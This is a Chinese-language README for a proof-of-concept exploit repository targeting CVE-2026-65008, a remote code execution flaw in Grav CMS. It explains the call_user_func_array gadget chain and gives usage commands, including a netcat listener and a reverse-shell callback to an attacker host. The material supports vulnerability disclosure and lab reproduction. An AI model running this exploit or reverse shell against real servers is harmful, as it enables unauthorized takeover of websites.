
CVE-2026-65008
CVE-2026-65008 的概念验证:通过 Blueprint::dynamicData() 中不受限制的 call_user_func_array(),在 Grav CMS 中实现认证远程代码执行。
拥有 admin.pages(或 api.pages.write)权限的用户可以植入恶意表单 frontmatter。当任何访客(包括未认证用户)加载页面时,该载荷将以 Web 服务器用户身份执行。
仅限授权测试。 仅可用于您拥有或已获得明确书面许可进行测试的系统。
| 角色 | |
|---|---|
| 漏洞报告者 | YuvalMil, MatiHub25, LeonKaya |
| 厂商公告 | GHSA-fj2p-qj2f-74v5 |
| 本仓库 | 独立实验室 PoC / 自动化 |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
Blueprint::dynamicData() 将攻击者可控的 Class::method 可调用项及参数传递给 PHP call_user_func_array(),且无任何白名单限制。结合 Grav\Common\Utils::arrayFilterRecursive 作为跳板,最终可调用 system() / passthru 等函数。
已在 Grav 2.0.7+ 中修复。
9.8 严重(CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requests安装:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
先启动监听:
nc -lvnp 4444
然后:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin(提取 login-nonce)admin_noncedata-opts@: gadget 的页面www-data 身份执行 RCE本项目仅用于教育和授权安全研究。作者不对滥用行为负责。测试第三方系统前,请务必获得书面许可。原始漏洞已通过厂商公告披露;本仓库仅用于演示实验室复现。
仅供研究使用。不提供任何担保。
| 参数 | 说明 |
|---|
-u, --url | 目标基础 URL(必填) |
-U, --username | 管理员 / 页面编辑用户(默认:admin) |
-P, --password | 密码(必填) |
-c, --command | 要执行的命令(默认:id) |
--lhost | 反向 Shell 的 LHOST |
--lport | 反向 Shell 的 LPORT(默认:4444) |
--folder | 页面文件夹名称(默认:rcepoc) |
--no-verify | 禁用 TLS 验证 |